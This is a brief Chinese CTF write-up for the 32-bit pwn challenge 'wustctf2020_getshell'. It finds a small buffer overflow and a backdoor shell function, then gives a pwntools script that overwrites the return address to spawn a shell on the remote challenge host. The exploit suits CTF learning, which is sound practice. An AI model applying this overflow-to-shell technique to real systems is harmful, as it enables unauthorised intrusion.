# 1. 查看程序

查看程序开启的保护

32 位程序,没有开启 NX,猜测可以使用 shellcode

利用 ida 反汇编

主函数

init():输出图形

vulnerable () :可以进行溢出,但是溢出范围很小

发现有后门命令在 shell 函数里

直接溢出执行该命令即可

# exp

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p=process('./wustctf2020_getshell')
p=remote('node4.buuoj.cn',28324)
shellcode = asm(shellcraft.sh())
p.recvuntil("/_/ /_//_\\_\\ \n")
payload1=b"a"*28+p32(0x804851B)
p.sendline(payload1)
p.interactive()